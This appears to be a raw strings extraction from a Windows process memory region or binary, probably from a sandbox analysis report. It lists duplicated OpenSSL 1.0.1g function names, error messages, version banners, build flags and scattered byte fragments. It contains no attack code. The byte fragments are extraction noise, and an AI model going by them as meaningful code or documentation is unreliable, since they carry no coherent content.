bad dh pub key length

bad dh pub key length

TLS1_SETUP_KEY_BLOCK

TLS1_SETUP_KEY_BLOCK

TLS1_EXPORT_KEYING_MATERIAL

TLS1_EXPORT_KEYING_MATERIAL

tls1_cert_verify_mac

tls1_cert_verify_mac

SSL_VERIFY_CERT_CHAIN

SSL_VERIFY_CERT_CHAIN

SSL_use_RSAPrivateKey_file

SSL_use_RSAPrivateKey_file

SSL_use_RSAPrivateKey_ASN1

SSL_use_RSAPrivateKey_ASN1

SSL_use_RSAPrivateKey

SSL_use_RSAPrivateKey

SSL_use_PrivateKey_file

SSL_use_PrivateKey_file

SSL_use_PrivateKey_ASN1

SSL_use_PrivateKey_ASN1

SSL_use_PrivateKey

SSL_use_PrivateKey

SSL_use_certificate_file

SSL_use_certificate_file

SSL_use_certificate_ASN1

SSL_use_certificate_ASN1

SSL_use_certificate

SSL_use_certificate

SSL_SET_PKEY

SSL_SET_PKEY

SSL_SET_CERT

SSL_SET_CERT

SSL_SESS_CERT_NEW

SSL_SESS_CERT_NEW

SSL_GET_SIGN_PKEY

SSL_GET_SIGN_PKEY

SSL_GET_SERVER_SEND_PKEY

SSL_GET_SERVER_SEND_PKEY

SSL_GET_SERVER_SEND_CERT

SSL_GET_SERVER_SEND_CERT

SSL_CTX_use_RSAPrivateKey_file

SSL_CTX_use_RSAPrivateKey_file

SSL_CTX_use_RSAPrivateKey_ASN1

SSL_CTX_use_RSAPrivateKey_ASN1

SSL_CTX_use_RSAPrivateKey

SSL_CTX_use_RSAPrivateKey

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_PrivateKey_ASN1

SSL_CTX_use_PrivateKey_ASN1

SSL_CTX_use_PrivateKey

SSL_CTX_use_PrivateKey

SSL_CTX_use_certificate_file

SSL_CTX_use_certificate_file

SSL_CTX_use_certificate_chain_file

SSL_CTX_use_certificate_chain_file

SSL_CTX_use_certificate_ASN1

SSL_CTX_use_certificate_ASN1

SSL_CTX_use_certificate

SSL_CTX_use_certificate

SSL_CTX_set_client_cert_engine

SSL_CTX_set_client_cert_engine

SSL_CTX_check_private_key

SSL_CTX_check_private_key

SSL_CHECK_SRVR_ECC_CERT_AND_ALG

SSL_CHECK_SRVR_ECC_CERT_AND_ALG

SSL_check_private_key

SSL_check_private_key

SSL_CERT_NEW

SSL_CERT_NEW

SSL_CERT_INSTANTIATE

SSL_CERT_INSTANTIATE

SSL_CERT_INST

SSL_CERT_INST

SSL_CERT_DUP

SSL_CERT_DUP

SSL_add_file_cert_subjects_to_stack

SSL_add_file_cert_subjects_to_stack

SSL_add_dir_cert_subjects_to_stack

SSL_add_dir_cert_subjects_to_stack

SSL3_SETUP_KEY_BLOCK

SSL3_SETUP_KEY_BLOCK

SSL3_SEND_SERVER_KEY_EXCHANGE

SSL3_SEND_SERVER_KEY_EXCHANGE

SSL3_SEND_SERVER_CERTIFICATE

SSL3_SEND_SERVER_CERTIFICATE

SSL3_SEND_CLIENT_KEY_EXCHANGE

SSL3_SEND_CLIENT_KEY_EXCHANGE

SSL3_SEND_CLIENT_CERTIFICATE

SSL3_SEND_CLIENT_CERTIFICATE

SSL3_SEND_CERTIFICATE_REQUEST

SSL3_SEND_CERTIFICATE_REQUEST

SSL3_OUTPUT_CERT_CHAIN

SSL3_OUTPUT_CERT_CHAIN

SSL3_GET_SERVER_CERTIFICATE

SSL3_GET_SERVER_CERTIFICATE

SSL3_GET_KEY_EXCHANGE

SSL3_GET_KEY_EXCHANGE

SSL3_GET_CLIENT_KEY_EXCHANGE

SSL3_GET_CLIENT_KEY_EXCHANGE

SSL3_GET_CLIENT_CERTIFICATE

SSL3_GET_CLIENT_CERTIFICATE

SSL3_GET_CERT_VERIFY

SSL3_GET_CERT_VERIFY

SSL3_GET_CERT_STATUS

SSL3_GET_CERT_STATUS

SSL3_GET_CERTIFICATE_REQUEST

SSL3_GET_CERTIFICATE_REQUEST

SSL3_GENERATE_KEY_BLOCK

SSL3_GENERATE_KEY_BLOCK

SSL3_CHECK_CERT_AND_ALGORITHM

SSL3_CHECK_CERT_AND_ALGORITHM

SSL3_ADD_CERT_TO_BUF

SSL3_ADD_CERT_TO_BUF

SSL2_SET_CERTIFICATE

SSL2_SET_CERTIFICATE

SSL2_GENERATE_KEY_MATERIAL

SSL2_GENERATE_KEY_MATERIAL

REQUEST_CERTIFICATE

REQUEST_CERTIFICATE

GET_CLIENT_MASTER_KEY

GET_CLIENT_MASTER_KEY

DTLS1_SEND_SERVER_KEY_EXCHANGE

DTLS1_SEND_SERVER_KEY_EXCHANGE

DTLS1_SEND_SERVER_CERTIFICATE

DTLS1_SEND_SERVER_CERTIFICATE

DTLS1_SEND_CLIENT_KEY_EXCHANGE

DTLS1_SEND_CLIENT_KEY_EXCHANGE

DTLS1_SEND_CLIENT_CERTIFICATE

DTLS1_SEND_CLIENT_CERTIFICATE

DTLS1_SEND_CERTIFICATE_REQUEST

DTLS1_SEND_CERTIFICATE_REQUEST

DTLS1_OUTPUT_CERT_CHAIN

DTLS1_OUTPUT_CERT_CHAIN

DTLS1_ADD_CERT_TO_BUF

DTLS1_ADD_CERT_TO_BUF

CLIENT_MASTER_KEY

CLIENT_MASTER_KEY

CLIENT_CERTIFICATE

CLIENT_CERTIFICATE

c:\toolchain\src\openssl-1.0.1g\openssl-1.0.1g\out32dll\ssleay32.pdb

c:\toolchain\src\openssl-1.0.1g\openssl-1.0.1g\out32dll\ssleay32.pdb

_amsg_exit

_amsg_exit

_crt_debugger_hook

_crt_debugger_hook

_malloc_crt

_malloc_crt

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

@.reloc

@.reloc

@.MNl1

@.MNl1

%original file name%.exe_928_rwx_10001000_00148000:

|$@3|$

|$@3|$

SHA1 block transform for x86, CRYPTOGAMS by

SHA1 block transform for x86, CRYPTOGAMS by

SHA256 block transform for x86, CRYPTOGAMS by

SHA256 block transform for x86, CRYPTOGAMS by

DlSHA512 block transform for x86, CRYPTOGAMS by

DlSHA512 block transform for x86, CRYPTOGAMS by

RC4 for x86, CRYPTOGAMS by

RC4 for x86, CRYPTOGAMS by

6-9'6-9'

6-9'6-9'

$6.:$6.:

$6.:$6.:

*?#1*?#1

*?#1*?#1

>8$4,8$4,

>8$4,8$4,

AES for x86, CRYPTOGAMS by

AES for x86, CRYPTOGAMS by

AES for Intel AES-NI, CRYPTOGAMS by

AES for Intel AES-NI, CRYPTOGAMS by

Camellia for x86 by

Camellia for x86 by

GHASH for x86, CRYPTOGAMS by

GHASH for x86, CRYPTOGAMS by

Montgomery Multiplication for x86, CRYPTOGAMS by

Montgomery Multiplication for x86, CRYPTOGAMS by

GF(2^m) Multiplication for x86, CRYPTOGAMS by

GF(2^m) Multiplication for x86, CRYPTOGAMS by

FtPS

FtPS

.EKSWU

.EKSWU

FTPG

FTPG

FTPj

FTPj

`Txs.Ux

`Txs.Ux

OPENSSL_Uplink(%p,X):

OPENSSL_Uplink(%p,X):

ssl_sess_cert

ssl_sess_cert

ssl_cert

ssl_cert

evp_pkey

evp_pkey

x509_pkey

x509_pkey

%s(%d): OpenSSL internal error, assertion failed: %s

%s(%d): OpenSSL internal error, assertion failed: %s

thread=%lu, file=%s, line=%d, info="

thread=%lu, file=%s, line=%d, info="

number=%d, address=lX

number=%d, address=lX

%5lu file=%s, line=%d,

%5lu file=%s, line=%d,

[d:d:d]

[d:d:d]

%ld bytes leaked in %d chunks

%ld bytes leaked in %d chunks

platform: %s

platform: %s

compiler: %s

compiler: %s

cl -DOPENSSL_EXPERIMENTAL_JPAKE /MD /Ox /O2 /Ob2 -DOPENSSL_THREADS -DDSO_WIN32 -W3 -Gs0 -GF -Gy -nologo -DOPENSSL_SYSNAME_WIN32 -DWIN32_LEAN_AND_MEAN -DL_ENDIAN -D_CRT_SECURE_NO_DEPRECATE -DOPENSSL_EXPERIMENTAL_JPAKE -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DMD5_ASM -DRMD160_ASM -DAES_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DOPENSSL_USE_APPLINK -I. -D_BIND_TO_CURRENT_VCLIBS_VERSION=1 /GS -DOPENSSL_NO_IDEA -DOPENSSL_NO_RC5 -DOPENSSL_NO_MD2 -DOPENSSL_NO_MDC2 -DOPENSSL_NO_KRB5 -DOPENSSL_NO_DYNAMIC_ENGINE

cl -DOPENSSL_EXPERIMENTAL_JPAKE /MD /Ox /O2 /Ob2 -DOPENSSL_THREADS -DDSO_WIN32 -W3 -Gs0 -GF -Gy -nologo -DOPENSSL_SYSNAME_WIN32 -DWIN32_LEAN_AND_MEAN -DL_ENDIAN -D_CRT_SECURE_NO_DEPRECATE -DOPENSSL_EXPERIMENTAL_JPAKE -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DMD5_ASM -DRMD160_ASM -DAES_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DOPENSSL_USE_APPLINK -I. -D_BIND_TO_CURRENT_VCLIBS_VERSION=1 /GS -DOPENSSL_NO_IDEA -DOPENSSL_NO_RC5 -DOPENSSL_NO_MD2 -DOPENSSL_NO_MDC2 -DOPENSSL_NO_KRB5 -DOPENSSL_NO_DYNAMIC_ENGINE

built on: %s

built on: %s

OpenSSL 1.0.1g 7 Apr 2014

OpenSSL 1.0.1g 7 Apr 2014

fips mode not supported

fips mode not supported

MD4 part of OpenSSL 1.0.1g 7 Apr 2014

MD4 part of OpenSSL 1.0.1g 7 Apr 2014

MD5 part of OpenSSL 1.0.1g 7 Apr 2014

MD5 part of OpenSSL 1.0.1g 7 Apr 2014

SHA part of OpenSSL 1.0.1g 7 Apr 2014

SHA part of OpenSSL 1.0.1g 7 Apr 2014

SHA1 part of OpenSSL 1.0.1g 7 Apr 2014

SHA1 part of OpenSSL 1.0.1g 7 Apr 2014

SHA-256 part of OpenSSL 1.0.1g 7 Apr 2014

SHA-256 part of OpenSSL 1.0.1g 7 Apr 2014

SHA-512 part of OpenSSL 1.0.1g 7 Apr 2014

SHA-512 part of OpenSSL 1.0.1g 7 Apr 2014

len>=0 && lenkey)

len>=0 && lenkey)

j key)

j key)

hexkey

hexkey

RIPE-MD160 part of OpenSSL 1.0.1g 7 Apr 2014

RIPE-MD160 part of OpenSSL 1.0.1g 7 Apr 2014

libdes part of OpenSSL 1.0.1g 7 Apr 2014

libdes part of OpenSSL 1.0.1g 7 Apr 2014

DES part of OpenSSL 1.0.1g 7 Apr 2014

DES part of OpenSSL 1.0.1g 7 Apr 2014

des(%s,%s,%s,%s)

des(%s,%s,%s,%s)

!"#$% !"#$%&'()* ,-./0123456789:;?@ABCD./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzRC2 part of OpenSSL 1.0.1g 7 Apr 2014

!"#$% !"#$%&'()* ,-./0123456789:;?@ABCD./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzRC2 part of OpenSSL 1.0.1g 7 Apr 2014

:Blowfish part of OpenSSL 1.0.1g 7 Apr 2014

:Blowfish part of OpenSSL 1.0.1g 7 Apr 2014

CAST part of OpenSSL 1.0.1g 7 Apr 2014

CAST part of OpenSSL 1.0.1g 7 Apr 2014

AES part of OpenSSL 1.0.1g 7 Apr 2014

AES part of OpenSSL 1.0.1g 7 Apr 2014

in && out && key && ivec

in && out && key && ivec

.pp@0

.pp@0

aEÐ

aEÐ

(#EÚ

(#EÚ

ÚE

ÚE

Big Number part of OpenSSL 1.0.1g 7 Apr 2014

Big Number part of OpenSSL 1.0.1g 7 Apr 2014

bn(%d,%d)

bn(%d,%d)

%'%1$=%C%K%O%s%

%'%1$=%C%K%O%s%

.%.-.3.7.9.?.W.[.o.y.

.%.-.3.7.9.?.W.[.o.y.

C%C'C3C7C9COCWCiC

C%C'C3C7C9COCWCiC

RSA part of OpenSSL 1.0.1g 7 Apr 2014

RSA part of OpenSSL 1.0.1g 7 Apr 2014

unsupported signature type

unsupported signature type

unsupported mask parameter

unsupported mask parameter

unsupported mask algorithm

unsupported mask algorithm

rsa operations not supported

rsa operations not supported

operation not supported for this keytype

operation not supported for this keytype

operation not allowed in fips mode

operation not allowed in fips mode

key size too small

key size too small

invalid keybits

invalid keybits

illegal or unsupported padding mode

illegal or unsupported padding mode

digest too big for rsa key

digest too big for rsa key

data too small for key size

data too small for key size

data too large for key size

data too large for key size

RSA_generate_key_ex

RSA_generate_key_ex

RSA_generate_key

RSA_generate_key

RSA_check_key

RSA_check_key

RSA_BUILTIN_KEYGEN

RSA_BUILTIN_KEYGEN

PKEY_RSA_VERIFYRECOVER

PKEY_RSA_VERIFYRECOVER

PKEY_RSA_VERIFY

PKEY_RSA_VERIFY

PKEY_RSA_SIGN

PKEY_RSA_SIGN

PKEY_RSA_CTRL_STR

PKEY_RSA_CTRL_STR

PKEY_RSA_CTRL

PKEY_RSA_CTRL

Public-Key: (%d bit)

Public-Key: (%d bit)

Private-Key: (%d bit)

Private-Key: (%d bit)

rsa_keygen_pubexp

rsa_keygen_pubexp

rsa_keygen_bits

rsa_keygen_bits

DSA part of OpenSSL 1.0.1g 7 Apr 2014

DSA part of OpenSSL 1.0.1g 7 Apr 2014

priv_key

priv_key

pub_key

pub_key

PKEY_DSA_KEYGEN

PKEY_DSA_KEYGEN

PKEY_DSA_CTRL

PKEY_DSA_CTRL

DSA_generate_key

DSA_generate_key

%s: (%d bit)

%s: (%d bit)

Public-Key

Public-Key

Private-Key

Private-Key

functionality not supported

functionality not supported

WIN32_JOINER

WIN32_JOINER

%s.dll

%s.dll

KERNEL32.DLL

KERNEL32.DLL

.\crypto\dh\dh_key.c

.\crypto\dh\dh_key.c

Diffie-Hellman part of OpenSSL 1.0.1g 7 Apr 2014

Diffie-Hellman part of OpenSSL 1.0.1g 7 Apr 2014

keys not set

keys not set

invalid public key

invalid public key

PKEY_DH_KEYGEN

PKEY_DH_KEYGEN

PKEY_DH_DERIVE

PKEY_DH_DERIVE

GENERATE_KEY

GENERATE_KEY

DH_generate_key

DH_generate_key

DH_compute_key

DH_compute_key

COMPUTE_KEY

COMPUTE_KEY

recommended-private-length: %d bits

recommended-private-length: %d bits

public-key:

public-key:

private-key:

private-key:

PKCS#3 DH Public-Key

PKCS#3 DH Public-Key

PKCS#3 DH Private-Key

PKCS#3 DH Private-Key

EC part of OpenSSL 1.0.1g 7 Apr 2014

EC part of OpenSSL 1.0.1g 7 Apr 2014

unsupported field

unsupported field

passed null parameter

passed null parameter

not a supported NIST prime

not a supported NIST prime

missing private key

missing private key

invalid private key

invalid private key

gf2m not supported

gf2m not supported

PKEY_EC_SIGN

PKEY_EC_SIGN

PKEY_EC_PARAMGEN

PKEY_EC_PARAMGEN

PKEY_EC_KEYGEN

PKEY_EC_KEYGEN

PKEY_EC_DERIVE

PKEY_EC_DERIVE

PKEY_EC_CTRL_STR

PKEY_EC_CTRL_STR

PKEY_EC_CTRL

PKEY_EC_CTRL

o2i_ECPublicKey

o2i_ECPublicKey

i2o_ECPublicKey

i2o_ECPublicKey

i2d_ECPrivateKey

i2d_ECPrivateKey

EC_KEY_set_public_key_affine_coordinates

EC_KEY_set_public_key_affine_coordinates

EC_KEY_print_fp

EC_KEY_print_fp

EC_KEY_print

EC_KEY_print

EC_KEY_new

EC_KEY_new

EC_KEY_generate_key

EC_KEY_generate_key

EC_KEY_copy

EC_KEY_copy

EC_KEY_check_key

EC_KEY_check_key

ECKEY_TYPE2PARAM

ECKEY_TYPE2PARAM

ECKEY_PUB_ENCODE

ECKEY_PUB_ENCODE

ECKEY_PUB_DECODE

ECKEY_PUB_DECODE

ECKEY_PRIV_ENCODE

ECKEY_PRIV_ENCODE

ECKEY_PRIV_DECODE

ECKEY_PRIV_DECODE

ECKEY_PARAM_DECODE

ECKEY_PARAM_DECODE

ECKEY_PARAM2TYPE

ECKEY_PARAM2TYPE

DO_EC_KEY_PRINT

DO_EC_KEY_PRINT

d2i_ECPrivateKey

d2i_ECPrivateKey

EC_PRIVATEKEY

EC_PRIVATEKEY

publicKey

publicKey

privateKey

privateKey

value.implicitlyCA

value.implicitlyCA

value.parameters

value.parameters

value.named_curve

value.named_curve

p.char_two

p.char_two

p.prime

p.prime

p.ppBasis

p.ppBasis

p.tpBasis

p.tpBasis

p.onBasis

p.onBasis

p.other

p.other

.\crypto\ec\ec_key.c

.\crypto\ec\ec_key.c